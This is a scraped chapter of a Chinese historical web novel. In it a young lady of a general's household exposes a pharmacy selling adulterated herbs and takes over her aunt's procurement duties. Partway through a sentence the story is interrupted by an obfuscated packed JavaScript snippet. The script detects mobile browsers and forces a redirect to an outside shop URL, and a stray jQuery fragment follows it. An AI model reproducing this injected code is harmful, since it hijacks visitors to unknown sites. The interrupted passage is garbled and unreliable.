默认冷灰
24号文字
方正启体

23. 风云

作者:和影本书字数:K更新时间:
    池婉将药材放回罐中,拍了拍手上的药屑。


    “单子呢?采买的账目和供货的铺子,可都记下了?”


    “记是记了,是城东新开的济世堂。”


    陈靖从抽屉里取出单子,“可无凭无据,对方若一口咬定是咱们保管不当,或是换了货,这官司打起来,反倒麻烦。”


    池婉接过单子,快速扫了一遍。金额不小,药材种类也多,若全是次品,不仅是银钱损失,更关乎府中用药安全。


    她沉默片刻,将单子折好,收进袖中。


    “我出去一趟。”


    “小姐要去哪儿?”陈靖忙问。


    “济世堂。”


    “这如何使得!”陈靖急道,“那种地方鱼龙混杂,您一个姑娘家……”


    “正因为我是姑娘家,他们才更会轻敌。”池婉语气平静,眼里却闪着光,“陈爷爷放心,我不一个人去。”


    她转身出了院子,对候在外面的汀雪道:“去叫裴衍,备车。”


    马车驶出将军府侧门时,裴衍骑马跟在车旁。


    他接到命令时有些意外。


    车帘掀开一角,池婉的脸露出来,没什么表情:“去城东济世堂。到了地方,你在门外等着,不必跟我进去。”


    裴衍颔首:“是。”


    顿了顿,他还是多问了一句:“小姐去药铺……可是身体不适?”


    “不是。”池婉放下车帘,声音隔着帘子传出来,有些闷,“去算笔账。”


    济世堂门面不小,装潢簇新,人来人往,看着颇为兴旺。


    池婉下了车,带着汀雪径直往里走。


    裴衍按吩咐留在门外,目光却紧随着她的背影,手按在刀柄上,周身警戒。


    柜台的伙计见来了位衣着不俗的小姐,立刻堆起笑脸:“这位小姐,想抓点什么药?咱们这儿药材最是全,价格也公道……”


    池婉没接话,走到柜台前,将袖中的单子取出,轻轻放在柜面上。


    “上月府上在贵号采买的药材,是经谁的手?”


    伙计愣了一下,拿起单子看了看,笑容不变:“哟,将军府的生意。小姐放心,咱们给府上供的货,都是最好的。不知……是哪里不满意?”


    “黄芪酸腐,当归酥碎,白芍掺了硫磺熏过的劣等货。”池婉语气平平,却字字清晰,“这就是贵号最好的货?我看这生意是不想做了吧?”


    伙计脸色变了变,转头朝里间喊了一声:“掌柜的!”


    一个留着山羊胡眼珠子精明的中年男人快步走了出来,接过单子一看,立刻笑道:“原来是池小姐大驾光临,失敬失敬。这单子确是小店出的,可这药材……绝无问题啊。是不是府上存放不当,或是……底下人弄混了?”


    这话绵里藏针,既推了责任,又暗指将军府管理不善。


    池婉也不恼,只道:“药材我带来了,掌柜的可要当场验看?”


    掌柜的眼珠一转:“这……药材离了柜,经手多人,实在不好说啊。小姐,咱们做生意讲究诚信,绝不会以次充好。许是其中有什么误会?”


    “误会?”池婉轻轻笑了笑,“那不如这样,劳烦掌柜的,将贵号库房里同批次的黄芪和当归取些样品来,我们当场对比。若真是误会,我立刻赔礼道歉。若是货不对板……”


    她顿了顿,声音轻了些,却更有分量:“将军府虽不仗势欺人,可也不是任人糊弄的。这京城药行有药行的规矩,药材以次充好、以假乱真,该当何罪,掌柜的应当比我清楚。”


    掌柜的额角渗出细汗。他没想到这位看着娇滴滴的大小姐,说话如此条理清晰,句句钉在要害上。


    真验起来,可就藏不住了。


    “这……库房杂乱,一时半会儿怕是不好找……”掌柜的开始支吾。


    “无妨,我等得起。”池婉在店里唯一一张太师椅上坐了下来,姿态从容,“汀雪,去沏壶茶来。掌柜的,你慢慢找。”


    她竟真要等。


    掌柜的脸色青白交加,眼神乱瞟。


    伙计也慌了神,不住地往门外看。


    门外的裴衍将这一切尽收眼底。


    他看见她端坐椅中,背脊挺直,明明身形纤细,却自有一股压得住场的气势。


    看见她三言两语,将油滑的掌柜逼得进退两难。


    看见她眼神清亮,思路清晰,每一步都踩在对方最难受的地方。


    这不是他印象中那个只会赌气撒娇的池婉。


    裴衍按着刀柄的手指,微微松了松。


    店里,掌柜的终于扛不住压力,擦着汗上前,赔笑道:“池小姐,许是……许是伙计发货时拿错了批次!小老儿这就给您查,若是错了,一定给您补上最好的,价钱也好商量……”


    “补上?”池婉抬起眼,“贵号以次充好,险些害了我府中病人,一句拿错了就能揭过?若是真出了人命,你也能赔的起吗?”


    “那……小姐的意思?”


    “假一赔十。”池婉站起身,声音不大,却让整个店堂都静了静,“这是行规。另外,这批货款全数退还。三日之内,我要见到赔货和银钱送到将军府。若逾期不到……”


    她没说完,只轻轻扫了掌柜的一眼。


    那一眼,没什么怒气,却让掌柜的腿肚子发软。


    “是是是……一定照办,一定照办!”掌柜的连连作揖,再不敢耍滑头。


    池婉不再看他,转身朝外走去。


    经过柜台时,她脚步微顿,对那面如土色的伙计道:“下次再想以次充好,先掂量掂量,这京城里,是不是人人都好糊弄。”


    说完,她迈步出了药铺。


    阳光洒在她身上,将那身鹅黄色的衣裙照得愈发鲜亮。


    她脸上没什么得意的表情,只是微微舒了一口气,像是完成了一件该做的事。


    裴衍牵马迎上。


    池婉看了他一眼,忽然问:“我方才……是不是有点凶?”


    裴衍怔了怔,下意识地摇头:“小姐处置得当。”


    这是真心话。


    池婉似乎笑了笑,又似乎没有。她没再说什么,转身上了马车。


    回府的路上,车厢里很安静。


    裴衍骑马跟在车旁,却忽然发现,自己好像从未真正认识过池婉。


    她不止有娇憨任性的一面,也有如此沉着果决的一面。


    而马车里,池婉靠着车厢,闭着眼。


    手里还攥着那张单子,指尖有些用力。


    她并非表面那么平静,面对油滑的商人,她心里也没底。


    只是想起祖母可能用到那些劣药,想起府里上下可能因此受害,那股气就撑着她,必须把这件事办成。


    还好,办成了。


    她轻轻吐出一口气,睁开眼,透过晃动的车帘缝隙,看向外面骑马的那道玄色身影。


    不知为何,有他在外面跟着,她心里竟踏实了不少。


    哪怕他一句话都没说。


    下了马车,池婉担忧看了一眼裴衍。


    “你那个……最近好多了吧?”


    裴衍恭敬回答,“多谢小姐关心,属下已无大碍了。”


    池婉敛眸道,“最好真没事了。”


    从济世堂回府,她没有直接回自己的院子,而是去了外院账房。


    福伯正在里头对账,老花镜搁在鼻梁上,听见脚步声抬起头。


    “小姐回来了?”福伯摘下眼镜,看见池婉脸色,心里有了数,“听说小姐去了济世堂,怎么样,事儿……办得不顺?”


    “事办成了,钱和货三日内送到。”池婉在福伯对面的椅子上坐下,自己倒了杯冷茶,喝了一大口,“但人没揪干净。”


    她把济世堂的事说了,重点说了掌柜那副心虚支吾的样。


    福伯听完,沉默地捋了捋胡子。


    窗外有麻雀在叫,叽叽喳喳的。


    “刘贵家里,”福伯慢慢开口,“有个老娘,瘫在床上三年了。有个儿子,在城西书院念书,束脩不菲。”


    池婉抬眼。


    “他一个外院采买,月钱二两。”福伯的指尖在账本上轻轻敲了敲,“撑不起。”


    “您是说……”


    “老奴没说。”福伯看着她,眼神里有种历经风霜的平静,“大小姐,有些事,不一定非要揪出来。水至清则无鱼,府里这么大,这人情往来,不一定非要把人往死路上逼。”


    池婉握着茶杯,没说话。


    府中这么多年什么样子,她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092195|195477||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    再清楚不过,当年母亲去世,她年纪尚小,无能为力也就罢了。


    可祖母待她如珍宝,她不能不管。


    “福伯,”她放下茶杯,声音很轻,却很清晰,“别的缝隙我可以不管。但药不行。”


    她站起身:“刘贵先扣着,别让任何人见他。他家里……派人暗中看顾起来。”


    福伯眼里闪过一丝极淡的笑意,又很快敛去:“是。”


    “还有,”池婉走到门口,停住,“济世堂的东家,姓周。和我三婶娘家,是不是一个周?”


    福伯微微躬身:“大小姐英明。”


    “好,我知道了。”


    福伯有些心疼池婉,还是想阻拦,“大小姐,听老奴一句,老爷最近事多,真的顾不上小姐您,您又何必如此,添一道麻烦呢?”


    池婉郑重其事道,“福伯,这池府,不是他一家说了算,更不是他作威作福的地儿,您应该明白我。”


    随后,她没再多说什么,转身离开。


    消息在府中传的比风还快。


    傍晚时分,池婉正在祖母屋里伺候用药,三婶周氏就来了。


    一进门,周氏的眼睛就红了。


    “母亲,婉儿,”她拿着帕子按眼角,“儿媳是来请罪的……”


    老夫人刚喝完药,精神不大好,蹙眉道:“好端端的,请什么罪?”


    “都是儿媳治家不严,识人不明!”周氏声音带着哭腔,“那刘贵……竟敢在药材上动手脚!亏得婉儿机警,没酿成大祸。可儿媳心里……实在是愧疚得紧!”


    她说着,竟要跪下。


    池婉伸手扶住了她,力道不轻不重:“三婶这是做什么。刘贵是外院的人,要错,也是婉儿年轻,管束不力。”


    周氏脸色僵了僵,顺势站起来:“婉儿快别这么说。你一个姑娘家,又要照顾祖母,又要打理这么大摊子事,哪能面面俱到?要我说,这些采买庶务,还是得有个老成的人帮着……”


    “三婶说得是。”池婉接过话头,笑容温婉,“所以我想着,以后药材、食材这类要紧的采买,单独划出来,请陈大夫和福伯共同拟定单子,由赵叔手下退下来的老军户负责。他们跟着爹爹在军中管过粮草,最是可靠。”


    周氏脸上的笑有点挂不住了。


    这是要把最肥的差事,从她可能伸手的地方,彻底挪走。


    “那……其他采买呢?”她勉强问。


    “其他么,”池婉语气轻松,“正好三婶提醒了我。我看就让福伯一并管了吧,反正他心思细,账目也清楚,不差这一个。”


    周氏的手指在帕子里掐紧了。


    “这……林管家会不会管的太多了,一个人忙不过啊?”


    “三婶忘了?还有我呢,我也会帮着一并操持的,就不劳您操心了哈。”


    祖母赞许点点头,在一旁附和,“是啊,三媳妇儿,婉儿多能干啊,她能想的这么周全,你该放心了。”


    周氏深吸一口气,挤出一个笑:“是……是周全。还是婉儿想得周到。”


    从晚香堂出来,池婉慢慢往自己院子的方向走。


    汀雪提着灯笼在前头照路。


    “小姐,”汀雪小声说,“您刚才……是不是太让三夫人没脸了?”


    “汀雪,”她忽然开口,“你说,如果明知前面有个坑,我是该提醒别人绕开,还是该等有人掉进去了,再去拉他?”


    汀雪愣了愣:“自然是提醒……”


    “可若是那人觉得,你提醒他,是嫌他走路不长眼呢?”


    汀雪答不上来了。


    池婉轻轻叹了口气。


    她不是非要和三房过不去。只是有些底线,不能退。


    走到院子门口时,她看见裴衍站在值守的位置上。


    灯笼的光晕染开一小片暖黄,他站在光与暗的交界处,身形挺拔,像一尊沉默的雕像。


    池婉走过他身边时,脚步顿了顿。


    “今天辛苦你了。”她说。


    裴衍垂下眼:“分内之事。”


    还是这句话。


    可池婉忽然觉得,今晚听来,似乎没那么刺耳了。


    她点了点头,进了院子。


    门关上,将夜色隔在外面。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)